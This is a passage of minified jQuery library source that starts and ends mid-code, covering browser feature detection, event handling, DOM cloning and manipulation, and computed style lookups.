type='checkbox'/>";support.leadingWhitespace=div.firstChild.nodeType===3;support.tbody=!div.getElementsByTagName("tbody").length;support.htmlSerialize=!!div.getElementsByTagName("link").length;support.html5Clone=document.createElement("nav").cloneNode(true).outerHTML!=="<:nav></:nav>";input.type="checkbox";input.checked=true;fragment.appendChild(input);support.appendChecked=input.checked;div.innerHTML="<textarea>x</textarea>";support.noCloneChecked=!!div.cloneNode(true).lastChild.defaultValue;fragment.appendChild(div);div.innerHTML="<input type='radio' checked='checked' name='t'/>";support.checkClone=div.cloneNode(true).cloneNode(true).lastChild.checked;support.noCloneEvent=true;if(div.attachEvent){div.attachEvent("onclick",function(){support.noCloneEvent=false});div.cloneNode(true).click()}if(support.deleteExpando==null){support.deleteExpando=true;try{delete div.test}catch(e){support.deleteExpando=false}}})();(function(){var i,eventName,div=document.createElement("div");for(i in{submit:true,change:true,focusin:true}){eventName="on"+i;if(!(support[i+"Bubbles"]=eventName in window)){div.setAttribute(eventName,"t");support[i+"Bubbles"]=div.attributes[eventName].expando===false}}div=null})();var rformElems=/^(?:input|select|textarea)$/i,rkeyEvent=/^key/,rmouseEvent=/^(?:mouse|pointer|contextmenu)|click/,rfocusMorph=/^(?:focusinfocus|focusoutblur)$/,rtypenamespace=/^([^.]*)(?:\.(.+)|)$/;function returnTrue(){return true}function returnFalse(){return false}function safeActiveElement(){try{return document.activeElement}catch(err){}}jQuery.event={global:{},add:function(elem,types,handler,data,selector){var tmp,events,t,handleObjIn,special,eventHandle,handleObj,handlers,type,namespaces,origType,elemData=jQuery._data(elem);if(!elemData){return}if(handler.handler){handleObjIn=handler;handler=handleObjIn.handler;selector=handleObjIn.selector}if(!handler.guid){handler.guid=jQuery.guid++}if(!(events=elemData.events)){events=elemData.events={}}if(!(eventHandle=elemData.handle)){eventHandle=elemData.handle=function(e){return typeof jQuery!==strundefined&&(!e||jQuery.event.triggered!==e.type)?jQuery.event.dispatch.apply(eventHandle.elem,arguments):undefined};eventHandle.elem=elem}types=(types||"").match(rnotwhite)||[""];t=types.length;while(t--){tmp=rtypenamespace.exec(types[t])||[];type=origType=tmp[1];namespaces=(tmp[2]||"").split(".").sort();if(!type){continue}special=jQuery.event.special[type]||{};type=(selector?special.delegateType:special.bindType)||type;special=jQuery.event.special[type]||{};handleObj=jQuery.extend({type:type,origType:origType,data:data,handler:handler,guid:handler.guid,selector:selector,needsContext:selector&&jQuery.expr.match.needsContext.test(selector),namespace:namespaces.join(".")},handleObjIn);if(!(handlers=events[type])){handlers=events[type]=[];handlers.delegateCount=0;if(!special.setup||special.setup.call(elem,data,namespaces,eventHandle)===false){if(elem.addEventListener){elem.addEventListener(type,eventHandle,false)}else if(elem.attachEvent){elem.attachEvent("on"+type,eventHandle)}}}if(special.add){special.add.call(elem,handleObj);if(!handleObj.handler.guid){handleObj.handler.guid=handler.guid}}if(selector){handlers.splice(handlers.delegateCount++,0,handleObj)}else{handlers.push(handleObj)}jQuery.event.global[type]=true}elem=null},remove:function(elem,types,handler,selector,mappedTypes){var j,handleObj,tmp,origCount,t,events,special,handlers,type,namespaces,origType,elemData=jQuery.hasData(elem)&&jQuery._data(elem);if(!elemData||!(events=elemData.events)){return}types=(types||"").match(rnotwhite)||[""];t=types.length;while(t--){tmp=rtypenamespace.exec(types[t])||[];type=origType=tmp[1];namespaces=(tmp[2]||"").split(".").sort();if(!type){for(type in events){jQuery.event.remove(elem,type+types[t],handler,selector,true)}continue}special=jQuery.event.special[type]||{};type=(selector?special.delegateType:special.bindType)||type;handlers=events[type]||[];tmp=tmp[2]&&new RegExp("(^|\\.)"+namespaces.join("\\.(?:.*\\.|)")+"(\\.|$)");origCount=j=handlers.length;while(j--){handleObj=handlers[j];if((mappedTypes||origType===handleObj.origType)&&(!handler||handler.guid===handleObj.guid)&&(!tmp||tmp.test(handleObj.namespace))&&(!selector||selector===handleObj.selector||selector==="**"&&handleObj.selector)){handlers.splice(j,1);if(handleObj.selector){handlers.delegateCount--}if(special.remove){special.remove.call(elem,handleObj)}}}if(origCount&&!handlers.length){if(!special.teardown||special.teardown.call(elem,namespaces,elemData.handle)===false){jQuery.removeEvent(elem,type,elemData.handle)}delete events[type]}}if(jQuery.isEmptyObject(events)){delete elemData.handle;jQuery._removeData(elem,"events")}},trigger:function(event,data,elem,onlyHandlers){var handle,ontype,cur,bubbleType,special,tmp,i,eventPath=[elem||document],type=hasOwn.call(event,"type")?event.type:event,namespaces=hasOwn.call(event,"namespace")?event.namespace.split("."):[];cur=tmp=elem=elem||document;if(elem.nodeType===3||elem.nodeType===8){return}if(rfocusMorph.test(type+jQuery.event.triggered)){return}if(type.indexOf(".")>=0){namespaces=type.split(".");type=namespaces.shift();namespaces.sort()}ontype=type.indexOf(":")<0&&"on"+type;event=event[jQuery.expando]?event:new jQuery.Event(type,typeof event==="object"&&event);event.isTrigger=onlyHandlers?2:3;event.namespace=namespaces.join(".");event.namespace_re=event.namespace?new RegExp("(^|\\.)"+namespaces.join("\\.(?:.*\\.|)")+"(\\.|$)"):null;event.result=undefined;if(!event.target){event.target=elem}data=data==null?[event]:jQuery.makeArray(data,[event]);special=jQuery.event.special[type]||{};if(!onlyHandlers&&special.trigger&&special.trigger.apply(elem,data)===false){return}if(!onlyHandlers&&!special.noBubble&&!jQuery.isWindow(elem)){bubbleType=special.delegateType||type;if(!rfocusMorph.test(bubbleType+type)){cur=cur.parentNode}for(;cur;cur=cur.parentNode){eventPath.push(cur);tmp=cur}if(tmp===(elem.ownerDocument||document)){eventPath.push(tmp.defaultView||tmp.parentWindow||window)}}i=0;while((cur=eventPath[i++])&&!event.isPropagationStopped()){event.type=i>1?bubbleType:special.bindType||type;handle=(jQuery._data(cur,"events")||{})[event.type]&&jQuery._data(cur,"handle");if(handle){handle.apply(cur,data)}handle=ontype&&cur[ontype];if(handle&&handle.apply&&jQuery.acceptData(cur)){event.result=handle.apply(cur,data);if(event.result===false){event.preventDefault()}}}event.type=type;if(!onlyHandlers&&!event.isDefaultPrevented()){if((!special._default||special._default.apply(eventPath.pop(),data)===false)&&jQuery.acceptData(elem)){if(ontype&&elem[type]&&!jQuery.isWindow(elem)){tmp=elem[ontype];if(tmp){elem[ontype]=null}jQuery.event.triggered=type;try{elem[type]()}catch(e){}jQuery.event.triggered=undefined;if(tmp){elem[ontype]=tmp}}}}return event.result},dispatch:function(event){event=jQuery.event.fix(event);var i,ret,handleObj,matched,j,handlerQueue=[],args=slice.call(arguments),handlers=(jQuery._data(this,"events")||{})[event.type]||[],special=jQuery.event.special[event.type]||{};args[0]=event;event.delegateTarget=this;if(special.preDispatch&&special.preDispatch.call(this,event)===false){return}handlerQueue=jQuery.event.handlers.call(this,event,handlers);i=0;while((matched=handlerQueue[i++])&&!event.isPropagationStopped()){event.currentTarget=matched.elem;j=0;while((handleObj=matched.handlers[j++])&&!event.isImmediatePropagationStopped()){if(!event.namespace_re||event.namespace_re.test(handleObj.namespace)){event.handleObj=handleObj;event.data=handleObj.data;ret=((jQuery.event.special[handleObj.origType]||{}).handle||handleObj.handler).apply(matched.elem,args);if(ret!==undefined){if((event.result=ret)===false){event.preventDefault();event.stopPropagation()}}}}}if(special.postDispatch){special.postDispatch.call(this,event)}return event.result},handlers:function(event,handlers){var sel,handleObj,matches,i,handlerQueue=[],delegateCount=handlers.delegateCount,cur=event.target;if(delegateCount&&cur.nodeType&&(!event.button||event.type!=="click")){for(;cur!=this;cur=cur.parentNode||this){if(cur.nodeType===1&&(cur.disabled!==true||event.type!=="click")){matches=[];for(i=0;i<delegateCount;i++){handleObj=handlers[i];sel=handleObj.selector+" ";if(matches[sel]===undefined){matches[sel]=handleObj.needsContext?jQuery(sel,this).index(cur)>=0:jQuery.find(sel,this,null,[cur]).length}if(matches[sel]){matches.push(handleObj)}}if(matches.length){handlerQueue.push({elem:cur,handlers:matches})}}}}if(delegateCount<handlers.length){handlerQueue.push({elem:this,handlers:handlers.slice(delegateCount)})}return handlerQueue},fix:function(event){if(event[jQuery.expando]){return event}var i,prop,copy,type=event.type,originalEvent=event,fixHook=this.fixHooks[type];if(!fixHook){this.fixHooks[type]=fixHook=rmouseEvent.test(type)?this.mouseHooks:rkeyEvent.test(type)?this.keyHooks:{}}copy=fixHook.props?this.props.concat(fixHook.props):this.props;event=new jQuery.Event(originalEvent);i=copy.length;while(i--){prop=copy[i];event[prop]=originalEvent[prop]}if(!event.target){event.target=originalEvent.srcElement||document}if(event.target.nodeType===3){event.target=event.target.parentNode}event.metaKey=!!event.metaKey;return fixHook.filter?fixHook.filter(event,originalEvent):event},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(event,original){if(event.which==null){event.which=original.charCode!=null?original.charCode:original.keyCode}return event}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(event,original){var body,eventDoc,doc,button=original.button,fromElement=original.fromElement;if(event.pageX==null&&original.clientX!=null){eventDoc=event.target.ownerDocument||document;doc=eventDoc.documentElement;body=eventDoc.body;event.pageX=original.clientX+(doc&&doc.scrollLeft||body&&body.scrollLeft||0)-(doc&&doc.clientLeft||body&&body.clientLeft||0);event.pageY=original.clientY+(doc&&doc.scrollTop||body&&body.scrollTop||0)-(doc&&doc.clientTop||body&&body.clientTop||0)}if(!event.relatedTarget&&fromElement){event.relatedTarget=fromElement===event.target?original.toElement:fromElement}if(!event.which&&button!==undefined){event.which=(button&1?1:(button&2?3:(button&4?2:0)))}return event}},special:{load:{noBubble:true},focus:{trigger:function(){if(this!==safeActiveElement()&&this.focus){try{this.focus();return false}catch(e){}}},delegateType:"focusin"},blur:{trigger:function(){if(this===safeActiveElement()&&this.blur){this.blur();return false}},delegateType:"focusout"},click:{trigger:function(){if(jQuery.nodeName(this,"input")&&this.type==="checkbox"&&this.click){this.click();return false}},_default:function(event){return jQuery.nodeName(event.target,"a")}},beforeunload:{postDispatch:function(event){if(event.result!==undefined&&event.originalEvent){event.originalEvent.returnValue=event.result}}}},simulate:function(type,elem,event,bubble){var e=jQuery.extend(new jQuery.Event(),event,{type:type,isSimulated:true,originalEvent:{}});if(bubble){jQuery.event.trigger(e,null,elem)}else{jQuery.event.dispatch.call(elem,e)}if(e.isDefaultPrevented()){event.preventDefault()}}};jQuery.removeEvent=document.removeEventListener?function(elem,type,handle){if(elem.removeEventListener){elem.removeEventListener(type,handle,false)}}:function(elem,type,handle){var name="on"+type;if(elem.detachEvent){if(typeof elem[name]===strundefined){elem[name]=null}elem.detachEvent(name,handle)}};jQuery.Event=function(src,props){if(!(this instanceof jQuery.Event)){return new jQuery.Event(src,props)}if(src&&src.type){this.originalEvent=src;this.type=src.type;this.isDefaultPrevented=src.defaultPrevented||src.defaultPrevented===undefined&&src.returnValue===false?returnTrue:returnFalse}else{this.type=src}if(props){jQuery.extend(this,props)}this.timeStamp=src&&src.timeStamp||jQuery.now();this[jQuery.expando]=true};jQuery.Event.prototype={isDefaultPrevented:returnFalse,isPropagationStopped:returnFalse,isImmediatePropagationStopped:returnFalse,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=returnTrue;if(!e){return}if(e.preventDefault){e.preventDefault()}else{e.returnValue=false}},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=returnTrue;if(!e){return}if(e.stopPropagation){e.stopPropagation()}e.cancelBubble=true},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=returnTrue;if(e&&e.stopImmediatePropagation){e.stopImmediatePropagation()}this.stopPropagation()}};jQuery.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(orig,fix){jQuery.event.special[orig]={delegateType:fix,bindType:fix,handle:function(event){var ret,target=this,related=event.relatedTarget,handleObj=event.handleObj;if(!related||(related!==target&&!jQuery.contains(target,related))){event.type=handleObj.origType;ret=handleObj.handler.apply(this,arguments);event.type=fix}return ret}}});if(!support.submitBubbles){jQuery.event.special.submit={setup:function(){if(jQuery.nodeName(this,"form")){return false}jQuery.event.add(this,"click._submit keypress._submit",function(e){var elem=e.target,form=jQuery.nodeName(elem,"input")||jQuery.nodeName(elem,"button")?elem.form:undefined;if(form&&!jQuery._data(form,"submitBubbles")){jQuery.event.add(form,"submit._submit",function(event){event._submit_bubble=true});jQuery._data(form,"submitBubbles",true)}})},postDispatch:function(event){if(event._submit_bubble){delete event._submit_bubble;if(this.parentNode&&!event.isTrigger){jQuery.event.simulate("submit",this.parentNode,event,true)}}},teardown:function(){if(jQuery.nodeName(this,"form")){return false}jQuery.event.remove(this,"._submit")}}}if(!support.changeBubbles){jQuery.event.special.change={setup:function(){if(rformElems.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio"){jQuery.event.add(this,"propertychange._change",function(event){if(event.originalEvent.propertyName==="checked"){this._just_changed=true}});jQuery.event.add(this,"click._change",function(event){if(this._just_changed&&!event.isTrigger){this._just_changed=false}jQuery.event.simulate("change",this,event,true)})}return false}jQuery.event.add(this,"beforeactivate._change",function(e){var elem=e.target;if(rformElems.test(elem.nodeName)&&!jQuery._data(elem,"changeBubbles")){jQuery.event.add(elem,"change._change",function(event){if(this.parentNode&&!event.isSimulated&&!event.isTrigger){jQuery.event.simulate("change",this.parentNode,event,true)}});jQuery._data(elem,"changeBubbles",true)}})},handle:function(event){var elem=event.target;if(this!==elem||event.isSimulated||event.isTrigger||(elem.type!=="radio"&&elem.type!=="checkbox")){return event.handleObj.handler.apply(this,arguments)}},teardown:function(){jQuery.event.remove(this,"._change");return!rformElems.test(this.nodeName)}}}if(!support.focusinBubbles){jQuery.each({focus:"focusin",blur:"focusout"},function(orig,fix){var handler=function(event){jQuery.event.simulate(fix,event.target,jQuery.event.fix(event),true)};jQuery.event.special[fix]={setup:function(){var doc=this.ownerDocument||this,attaches=jQuery._data(doc,fix);if(!attaches){doc.addEventListener(orig,handler,true)}jQuery._data(doc,fix,(attaches||0)+1)},teardown:function(){var doc=this.ownerDocument||this,attaches=jQuery._data(doc,fix)-1;if(!attaches){doc.removeEventListener(orig,handler,true);jQuery._removeData(doc,fix)}else{jQuery._data(doc,fix,attaches)}}}})}jQuery.fn.extend({on:function(types,selector,data,fn,one){var type,origFn;if(typeof types==="object"){if(typeof selector!=="string"){data=data||selector;selector=undefined}for(type in types){this.on(type,selector,data,types[type],one)}return this}if(data==null&&fn==null){fn=selector;data=selector=undefined}else if(fn==null){if(typeof selector==="string"){fn=data;data=undefined}else{fn=data;data=selector;selector=undefined}}if(fn===false){fn=returnFalse}else if(!fn){return this}if(one===1){origFn=fn;fn=function(event){jQuery().off(event);return origFn.apply(this,arguments)};fn.guid=origFn.guid||(origFn.guid=jQuery.guid++)}return this.each(function(){jQuery.event.add(this,types,fn,data,selector)})},one:function(types,selector,data,fn){return this.on(types,selector,data,fn,1)},off:function(types,selector,fn){var handleObj,type;if(types&&types.preventDefault&&types.handleObj){handleObj=types.handleObj;jQuery(types.delegateTarget).off(handleObj.namespace?handleObj.origType+"."+handleObj.namespace:handleObj.origType,handleObj.selector,handleObj.handler);return this}if(typeof types==="object"){for(type in types){this.off(type,selector,types[type])}return this}if(selector===false||typeof selector==="function"){fn=selector;selector=undefined}if(fn===false){fn=returnFalse}return this.each(function(){jQuery.event.remove(this,types,fn,selector)})},trigger:function(type,data){return this.each(function(){jQuery.event.trigger(type,data,this)})},triggerHandler:function(type,data){var elem=this[0];if(elem){return jQuery.event.trigger(type,data,elem,true)}}});function createSafeFragment(document){var list=nodeNames.split("|"),safeFrag=document.createDocumentFragment();if(safeFrag.createElement){while(list.length){safeFrag.createElement(list.pop())}}return safeFrag}var nodeNames="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|"+"header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",rinlinejQuery=/ jQuery\d+="(?:null|\d+)"/g,rnoshimcache=new RegExp("<(?:"+nodeNames+")[\\s/>]","i"),rleadingWhitespace=/^\s+/,rxhtmlTag=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,rtagName=/<([\w:]+)/,rtbody=/<tbody/i,rhtml=/<|&#?\w+;/,rnoInnerhtml=/<(?:script|style|link)/i,rchecked=/checked\s*(?:[^=]|=\s*.checked.)/i,rscriptType=/^$|\/(?:java|ecma)script/i,rscriptTypeMasked=/^true\/(.*)/,rcleanScript=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,wrapMap={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:support.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},safeFragment=createSafeFragment(document),fragmentDiv=safeFragment.appendChild(document.createElement("div"));wrapMap.optgroup=wrapMap.option;wrapMap.tbody=wrapMap.tfoot=wrapMap.colgroup=wrapMap.caption=wrapMap.thead;wrapMap.th=wrapMap.td;function getAll(context,tag){var elems,elem,i=0,found=typeof context.getElementsByTagName!==strundefined?context.getElementsByTagName(tag||"*"):typeof context.querySelectorAll!==strundefined?context.querySelectorAll(tag||"*"):undefined;if(!found){for(found=[],elems=context.childNodes||context;(elem=elems[i])!=null;i++){if(!tag||jQuery.nodeName(elem,tag)){found.push(elem)}else{jQuery.merge(found,getAll(elem,tag))}}}return tag===undefined||tag&&jQuery.nodeName(context,tag)?jQuery.merge([context],found):found}function fixDefaultChecked(elem){if(rcheckableType.test(elem.type)){elem.defaultChecked=elem.checked}}function manipulationTarget(elem,content){return jQuery.nodeName(elem,"table")&&jQuery.nodeName(content.nodeType!==11?content:content.firstChild,"tr")?elem.getElementsByTagName("tbody")[0]||elem.appendChild(elem.ownerDocument.createElement("tbody")):elem}function disableScript(elem){elem.type=(jQuery.find.attr(elem,"type")!==null)+"/"+elem.type;return elem}function restoreScript(elem){var match=rscriptTypeMasked.exec(elem.type);if(match){elem.type=match[1]}else{elem.removeAttribute("type")}return elem}function setGlobalEval(elems,refElements){var elem,i=0;for(;(elem=elems[i])!=null;i++){jQuery._data(elem,"globalEval",!refElements||jQuery._data(refElements[i],"globalEval"))}}function cloneCopyEvent(src,dest){if(dest.nodeType!==1||!jQuery.hasData(src)){return}var type,i,l,oldData=jQuery._data(src),curData=jQuery._data(dest,oldData),events=oldData.events;if(events){delete curData.handle;curData.events={};for(type in events){for(i=0,l=events[type].length;i<l;i++){jQuery.event.add(dest,type,events[type][i])}}}if(curData.data){curData.data=jQuery.extend({},curData.data)}}function fixCloneNodeIssues(src,dest){var nodeName,e,data;if(dest.nodeType!==1){return}nodeName=dest.nodeName.toLowerCase();if(!support.noCloneEvent&&dest[jQuery.expando]){data=jQuery._data(dest);for(e in data.events){jQuery.removeEvent(dest,e,data.handle)}dest.removeAttribute(jQuery.expando)}if(nodeName==="script"&&dest.text!==src.text){disableScript(dest).text=src.text;restoreScript(dest)}else if(nodeName==="object"){if(dest.parentNode){dest.outerHTML=src.outerHTML}if(support.html5Clone&&(src.innerHTML&&!jQuery.trim(dest.innerHTML))){dest.innerHTML=src.innerHTML}}else if(nodeName==="input"&&rcheckableType.test(src.type)){dest.defaultChecked=dest.checked=src.checked;if(dest.value!==src.value){dest.value=src.value}}else if(nodeName==="option"){dest.defaultSelected=dest.selected=src.defaultSelected}else if(nodeName==="input"||nodeName==="textarea"){dest.defaultValue=src.defaultValue}}jQuery.extend({clone:function(elem,dataAndEvents,deepDataAndEvents){var destElements,node,clone,i,srcElements,inPage=jQuery.contains(elem.ownerDocument,elem);if(support.html5Clone||jQuery.isXMLDoc(elem)||!rnoshimcache.test("<"+elem.nodeName+">")){clone=elem.cloneNode(true)}else{fragmentDiv.innerHTML=elem.outerHTML;fragmentDiv.removeChild(clone=fragmentDiv.firstChild)}if((!support.noCloneEvent||!support.noCloneChecked)&&(elem.nodeType===1||elem.nodeType===11)&&!jQuery.isXMLDoc(elem)){destElements=getAll(clone);srcElements=getAll(elem);for(i=0;(node=srcElements[i])!=null;++i){if(destElements[i]){fixCloneNodeIssues(node,destElements[i])}}}if(dataAndEvents){if(deepDataAndEvents){srcElements=srcElements||getAll(elem);destElements=destElements||getAll(clone);for(i=0;(node=srcElements[i])!=null;i++){cloneCopyEvent(node,destElements[i])}}else{cloneCopyEvent(elem,clone)}}destElements=getAll(clone,"script");if(destElements.length>0){setGlobalEval(destElements,!inPage&&getAll(elem,"script"))}destElements=srcElements=node=null;return clone},buildFragment:function(elems,context,scripts,selection){var j,elem,contains,tmp,tag,tbody,wrap,l=elems.length,safe=createSafeFragment(context),nodes=[],i=0;for(;i<l;i++){elem=elems[i];if(elem||elem===0){if(jQuery.type(elem)==="object"){jQuery.merge(nodes,elem.nodeType?[elem]:elem)}else if(!rhtml.test(elem)){nodes.push(context.createTextNode(elem))}else{tmp=tmp||safe.appendChild(context.createElement("div"));tag=(rtagName.exec(elem)||["",""])[1].toLowerCase();wrap=wrapMap[tag]||wrapMap._default;tmp.innerHTML=wrap[1]+elem.replace(rxhtmlTag,"<$1></$2>")+wrap[2];j=wrap[0];while(j--){tmp=tmp.lastChild}if(!support.leadingWhitespace&&rleadingWhitespace.test(elem)){nodes.push(context.createTextNode(rleadingWhitespace.exec(elem)[0]))}if(!support.tbody){elem=tag==="table"&&!rtbody.test(elem)?tmp.firstChild:wrap[1]==="<table>"&&!rtbody.test(elem)?tmp:0;j=elem&&elem.childNodes.length;while(j--){if(jQuery.nodeName((tbody=elem.childNodes[j]),"tbody")&&!tbody.childNodes.length){elem.removeChild(tbody)}}}jQuery.merge(nodes,tmp.childNodes);tmp.textContent="";while(tmp.firstChild){tmp.removeChild(tmp.firstChild)}tmp=safe.lastChild}}}if(tmp){safe.removeChild(tmp)}if(!support.appendChecked){jQuery.grep(getAll(nodes,"input"),fixDefaultChecked)}i=0;while((elem=nodes[i++])){if(selection&&jQuery.inArray(elem,selection)!==-1){continue}contains=jQuery.contains(elem.ownerDocument,elem);tmp=getAll(safe.appendChild(elem),"script");if(contains){setGlobalEval(tmp)}if(scripts){j=0;while((elem=tmp[j++])){if(rscriptType.test(elem.type||"")){scripts.push(elem)}}}}tmp=null;return safe},cleanData:function(elems,acceptData){var elem,type,id,data,i=0,internalKey=jQuery.expando,cache=jQuery.cache,deleteExpando=support.deleteExpando,special=jQuery.event.special;for(;(elem=elems[i])!=null;i++){if(acceptData||jQuery.acceptData(elem)){id=elem[internalKey];data=id&&cache[id];if(data){if(data.events){for(type in data.events){if(special[type]){jQuery.event.remove(elem,type)}else{jQuery.removeEvent(elem,type,data.handle)}}}if(cache[id]){delete cache[id];if(deleteExpando){delete elem[internalKey]}else if(typeof elem.removeAttribute!==strundefined){elem.removeAttribute(internalKey)}else{elem[internalKey]=null}deletedIds.push(id)}}}}}});jQuery.fn.extend({text:function(value){return access(this,function(value){return value===undefined?jQuery.text(this):this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(value))},null,value,arguments.length)},append:function(){return this.domManip(arguments,function(elem){if(this.nodeType===1||this.nodeType===11||this.nodeType===9){var target=manipulationTarget(this,elem);target.appendChild(elem)}})},prepend:function(){return this.domManip(arguments,function(elem){if(this.nodeType===1||this.nodeType===11||this.nodeType===9){var target=manipulationTarget(this,elem);target.insertBefore(elem,target.firstChild)}})},before:function(){return this.domManip(arguments,function(elem){if(this.parentNode){this.parentNode.insertBefore(elem,this)}})},after:function(){return this.domManip(arguments,function(elem){if(this.parentNode){this.parentNode.insertBefore(elem,this.nextSibling)}})},remove:function(selector,keepData){var elem,elems=selector?jQuery.filter(selector,this):this,i=0;for(;(elem=elems[i])!=null;i++){if(!keepData&&elem.nodeType===1){jQuery.cleanData(getAll(elem))}if(elem.parentNode){if(keepData&&jQuery.contains(elem.ownerDocument,elem)){setGlobalEval(getAll(elem,"script"))}elem.parentNode.removeChild(elem)}}return this},empty:function(){var elem,i=0;for(;(elem=this[i])!=null;i++){if(elem.nodeType===1){jQuery.cleanData(getAll(elem,false))}while(elem.firstChild){elem.removeChild(elem.firstChild)}if(elem.options&&jQuery.nodeName(elem,"select")){elem.options.length=0}}return this},clone:function(dataAndEvents,deepDataAndEvents){dataAndEvents=dataAndEvents==null?false:dataAndEvents;deepDataAndEvents=deepDataAndEvents==null?dataAndEvents:deepDataAndEvents;return this.map(function(){return jQuery.clone(this,dataAndEvents,deepDataAndEvents)})},html:function(value){return access(this,function(value){var elem=this[0]||{},i=0,l=this.length;if(value===undefined){return elem.nodeType===1?elem.innerHTML.replace(rinlinejQuery,""):undefined}if(typeof value==="string"&&!rnoInnerhtml.test(value)&&(support.htmlSerialize||!rnoshimcache.test(value))&&(support.leadingWhitespace||!rleadingWhitespace.test(value))&&!wrapMap[(rtagName.exec(value)||["",""])[1].toLowerCase()]){value=value.replace(rxhtmlTag,"<$1></$2>");try{for(;i<l;i++){elem=this[i]||{};if(elem.nodeType===1){jQuery.cleanData(getAll(elem,false));elem.innerHTML=value}}elem=0}catch(e){}}if(elem){this.empty().append(value)}},null,value,arguments.length)},replaceWith:function(){var arg=arguments[0];this.domManip(arguments,function(elem){arg=this.parentNode;jQuery.cleanData(getAll(this));if(arg){arg.replaceChild(elem,this)}});return arg&&(arg.length||arg.nodeType)?this:this.remove()},detach:function(selector){return this.remove(selector,true)},domManip:function(args,callback){args=concat.apply([],args);var first,node,hasScripts,scripts,doc,fragment,i=0,l=this.length,set=this,iNoClone=l-1,value=args[0],isFunction=jQuery.isFunction(value);if(isFunction||(l>1&&typeof value==="string"&&!support.checkClone&&rchecked.test(value))){return this.each(function(index){var self=set.eq(index);if(isFunction){args[0]=value.call(this,index,self.html())}self.domManip(args,callback)})}if(l){fragment=jQuery.buildFragment(args,this[0].ownerDocument,false,this);first=fragment.firstChild;if(fragment.childNodes.length===1){fragment=first}if(first){scripts=jQuery.map(getAll(fragment,"script"),disableScript);hasScripts=scripts.length;for(;i<l;i++){node=fragment;if(i!==iNoClone){node=jQuery.clone(node,true,true);if(hasScripts){jQuery.merge(scripts,getAll(node,"script"))}}callback.call(this[i],node,i)}if(hasScripts){doc=scripts[scripts.length-1].ownerDocument;jQuery.map(scripts,restoreScript);for(i=0;i<hasScripts;i++){node=scripts[i];if(rscriptType.test(node.type||"")&&!jQuery._data(node,"globalEval")&&jQuery.contains(doc,node)){if(node.src){if(jQuery._evalUrl){jQuery._evalUrl(node.src)}}else{jQuery.globalEval((node.text||node.textContent||node.innerHTML||"").replace(rcleanScript,""))}}}}fragment=first=null}}return this}});jQuery.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(name,original){jQuery.fn[name]=function(selector){var elems,i=0,ret=[],insert=jQuery(selector),last=insert.length-1;for(;i<=last;i++){elems=i===last?this:this.clone(true);jQuery(insert[i])[original](elems);push.apply(ret,elems.get())}return this.pushStack(ret)}});var iframe,elemdisplay={};function actualDisplay(name,doc){var style,elem=jQuery(doc.createElement(name)).appendTo(doc.body),display=window.getDefaultComputedStyle&&(style=window.getDefaultComputedStyle(elem[0]))?style.display:jQuery.css(elem[0],"display");elem.detach();return display}function defaultDisplay(nodeName){var doc=document,display=elemdisplay[nodeName];if(!display){display=actualDisplay(nodeName,doc);if(display==="none"||!display){iframe=(iframe||jQuery("<iframe frameborder='0' width='0' height='0'/>")).appendTo(doc.documentElement);doc=(iframe[0].contentWindow||iframe[0].contentDocument).document;doc.write();doc.close();display=actualDisplay(nodeName,doc);iframe.detach()}elemdisplay[nodeName]=display}return display}(function(){var shrinkWrapBlocksVal;support.shrinkWrapBlocks=function(){if(shrinkWrapBlocksVal!=null){return shrinkWrapBlocksVal}shrinkWrapBlocksVal=false;var div,body,container;body=document.getElementsByTagName("body")[0];if(!body||!body.style){return}div=document.createElement("div");container=document.createElement("div");container.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px";body.appendChild(container).appendChild(div);if(typeof div.style.zoom!==strundefined){div.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;"+"box-sizing:content-box;display:block;margin:0;border:0;"+"padding:1px;width:1px;zoom:1";div.appendChild(document.createElement("div")).style.width="5px";shrinkWrapBlocksVal=div.offsetWidth!==3}body.removeChild(container);return shrinkWrapBlocksVal}})();var rmargin=(/^margin/);var rnumnonpx=new RegExp("^("+pnum+")(?!px)[a-z%]+$","i");var getStyles,curCSS,rposition=/^(top|right|bottom|left)$/;if(window.getComputedStyle){getStyles=function(elem){if(elem.ownerDocument.defaultView.opener){return elem.ownerDocument.defaultView.getComputedStyle(elem,null)}return window.getComputedStyle(elem,null)};curCSS=function(elem,name,computed){var width,minWidth,maxWidth,ret,style=elem.style;computed=computed||getStyles(elem);ret=computed?computed.getPropertyValue(name)||computed[name]:undefined;if(computed){if(ret===""&&!jQuery.contains(elem.ownerDocument,elem)){ret=jQuery.style(elem,name)}if(rnumnonpx.test(ret)&&rmargin.test(name)){width=style.width;minWidth=style.minWidth;maxWidth=style.maxWidth;style.minWidth=style.maxWidth=style.width=ret;ret=computed.width;style.width=width;style.minWidth=minWidth;style.maxWidth=maxWidth}}return ret===undefined?ret:ret+""}}else if(document.documentElement.currentStyle){getStyles=function(elem){return elem.currentStyle};curCSS=function(elem,name,computed){var 